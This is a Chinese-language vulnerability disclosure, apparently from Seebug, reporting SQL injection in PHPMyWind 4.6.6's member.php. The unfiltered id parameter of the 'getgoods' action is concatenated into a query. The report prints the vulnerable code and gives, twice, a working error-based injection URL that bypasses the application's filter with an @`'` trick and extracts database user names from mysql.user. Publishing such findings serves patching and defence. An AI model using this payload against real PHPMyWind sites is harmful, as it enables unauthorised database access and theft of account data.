### 简要描述:
继续之前的代码审计,发现其他地方还有类似的问题存在,都是没有对变量进行适当的过滤就直接拼接到sql语句里面执行,导致任意sql指令的执行。
### 详细说明:
漏洞位于member.php 689行处:
$r = $dosql->GetOne("SELECT `checkinfo` FROM `#@__goodsorder` WHERE `username`='$c_uname' AND `id`=$id");
id参数未做任何过滤直接放到sql语句里面执行。
利用分析:
利用点在确认收货页面,url为:http://127.0.0.1/PHPMyWind_v4.6.6/member.php?a=getgoods&id=1
若id参数为数据库中不存在的值,实际执行的sql语句为:
UPDATE `pmw_goodsorder` SET checkinfo=',getgoods' WHERE `username`='test1234' AND `id`=xx ,于是利用报错注入,结合之前的过滤绕过方法,构造exp为:
http://127.0.0.1/PHPMyWind_v4.6.6/member.php?a=getgoods&id=@`'` or (select 1 from(select count(*),concat(0x7c,(select user from mysql.user limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a) or @`'`
如下图:
[<img src="https://images.seebug.org/upload/201402/18112226ea725fce12afeefceb79437caea1a4de.png" alt="4.PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/18112226ea725fce12afeefceb79437caea1a4de.png)
### 漏洞证明:
exp:
http://127.0.0.1/PHPMyWind_v4.6.6/member.php?a=getgoods&id=@`'` or (select 1 from(select count(*),concat(0x7c,(select user from mysql.user limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a) or @`'`
[<img src="https://images.seebug.org/upload/201402/18112248f6f3a94bfd6bbbb0938155695e53992a.png" alt="4.PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/18112248f6f3a94bfd6bbbb0938155695e53992a.png)
暂无评论